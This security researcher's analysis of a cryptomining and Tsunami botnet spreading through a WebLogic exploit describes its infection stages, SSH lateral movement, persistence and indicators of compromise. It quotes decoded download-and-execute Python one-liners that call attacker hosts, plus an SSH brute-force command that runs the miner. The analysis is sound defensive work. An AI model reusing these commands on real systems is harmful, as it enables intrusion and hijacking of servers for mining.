A fellow security researcher, 0xrb, shared with me samples of a botnet that propagates using weblogic exploit. The botnet was also discovered by @BadPackets 5 days ago and it is still active as of now, December 1, 2020. The botnet carries two payloads: 1) a Monero XMR Miner binaries; and 2) Tsunami binaries. This botnet is targeting cloud servers. An earlier version of the botnet, carrying only XMR Miner payload was investigated and reported by Patrick Olsen from AWAKE Security in September 2020.
Payloads: Monero Miner and Tsunami.
Infection vectors: Docker API, Weblogic, SSH bruteforce?, Redis?
The botnet is currently propagating using weblogic exploit. In September, an earlier version of the botnet was exploiting misconfigured docker API. Interestingly, the current botnet version contains unused code for exploiting Redis and for bruteforcing SSH.
Lateral movement: The botnet uses SSH for lateral movement. It tries to infect hosts the system has connected to previously.
Evasion and Persistence: The botnet achieves persistence in multiple ways; kills running processes, potentially competing for mining tools and eliminates EDR. Uses base64 encoded intermediate stage shell-scripts and base64 encoded commands to download and execute python scripts.
Excellent analysis of the previous version by AWAKE’s Patrick Olsen: https://awakesecurity.com/blog/threat-hunting-to-find-misconfigured-docker-exploitation/
What’s new in this version of the botnet?
Stage 1 – WebLogic exploit CVE-2020-14882
poc.xml SHA256: af1f3e57544583561dbd02201407782aef7dce47489e703ad6ac9f231363b439
The stage 1 executes two payloads, a shell script, xms, and a python script. The shellscript xms is piped to bash from curl, in case that fails, it is fetched with wget, executed and removed, to prevent analysis. The python script is fetched and executed using base64 encoded commands to avoid detection and analysis.
The echoed base64 encoded string resolves to the following: python -c ‘import urllib;exec(urllib.urlopen(“hxxp://188.8.131.52/d.py”).read())’
Stage 2 A) – xms shell script
xms shell script SHA256: 72acbfdeadfa31d7ccda7fdcc93944b1948e263239af8850e5b44c518da0a4c5
SSH Lateral Movement: The xms shell script attempts to infect hosts that the server has been previously connected to.
Persistence: The persistence mechanisms are the same as in the previous version of the botnet.
Stage 2 B) Python Scripts
There are 4 python scripts in total. They are grouped in 2 groups. The first group downloads and runs the Miner binaries and the accompanying shell-scripts, maintains persistence and downloads and runs the second group of python scrips. The second group of python scripts downloads and runs the Tsunami binaries. Each group has two scripts: one fetches the bins from a hardcoded IP while the other uses a domain to connect to the webserver hosting the payloads. The scripts in the same group also drop the bins to different locations i.e. in /tmp or /var/tmp.
1) downloads go shell script and Miner binaries from hardcoded IP 184.108.40.206, and executes Miner binaries through go script. Downloads and executes b.py.
2) Fetches and executes a shell script that:
a) executes: python -c ‘import urllib;exec(urllib.urlopen(“hxxp://bash.givemexyz.in/dd.py”).read())’ or if the givemexyz webserver is not available:
python -c ‘import urllib;exec(urllib.urlopen(“hxxp://220.127.116.11/b.py”).read())’
b) maintains persistence using cron
The dd.py python script has the same behaviour as d.py but it fetches the Miner binaries from bash.givemexyz.in.
b.py and bb.py -> fetch and execute the Tsunami 32 and 64bit binaries
Stage 3) A) Monero XMR Miner ELF Binaries
The binaries are downloaded together with a shell-script named go. The ‘go’ shell-script is used to execute the Miner binaries. The binaries are packed with default UPX packer.
x86_64 SHA256: fdc7920b09290b8dedc84c82883b7a1105c2fbad75e42aea4dc165de8e1796e3
i686 SHA256: 35e45d556443c8bf4498d8968ab2a79e751fc2d359bf9f6b4dfd86d417f17cfb
go SHA256: 6f7393474c6f3c452513231d1e3fa07ed9dcc8d53a1bb2d680c78e9aa03f8f9d
The Miner ELF binaries connect to the following mining proxy servers:
Stage 3) B) Tsunami
The Tsunami binaries are compiled for x86 and x86_64 architectures and similarly to the Miner binaries, they are also packed with UPX.
They connect to the following C2 server: 18.104.22.168:443
x32b SHA256: 9b8280f5ce25f1db676db6e79c60c07e61996b2b68efa6d53e017f34cbf9a872
x64b SHA256: 855557e415b485cedb9dc2c6f96d524143108aff2f84497528a8fcddf2dc86a2
Unused Exploitation Functions in Stage 2) ‘xms’ shell-script
SSH Scanner and Exploits
1.Scans the following ranges for open port 22 using masscan: 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16
2.Uses SSH brute tools to attack the discovered servers with open SSH ports
SSH attack command base64 decoded: RSAKEY=”no” SCP=”no” SCPFILE=”/tmp/linux.tar.gz” SCPPATH=”/tmp” CMD=”cd /tmp; tar -xvf /tmp/linux.tar.gz; chmod 777 /tmp/i686 /tmp/x86_64 /tmp/go; /tmp/go” PORT=”22″ UserKnownHostsFile=” ” BatchMode=”no” ConnectTimeout=”15″ StrictHostKeyChecking=”no” Format=”USER PASS IP” /tmp/sshexec /tmp/sparte.txt
Redis for infecting servers in LAN
1. Scans for devices in LAN with open port 6379, adds them to a list
2. Uses redis-cli to infect the discovered servers
Additional info, including Indicators of Compromise (IoCs) are reported in the original analysis:
About the author: Tolijan Trajanovski (@tolisec)
Tolijan Trajanovski is a Cyber Security Researcher and a PhD Candidate at the University of Manchester, UK, specializing in IoT Security and Malware Analysis.
(SecurityAffairs – hacking, malware)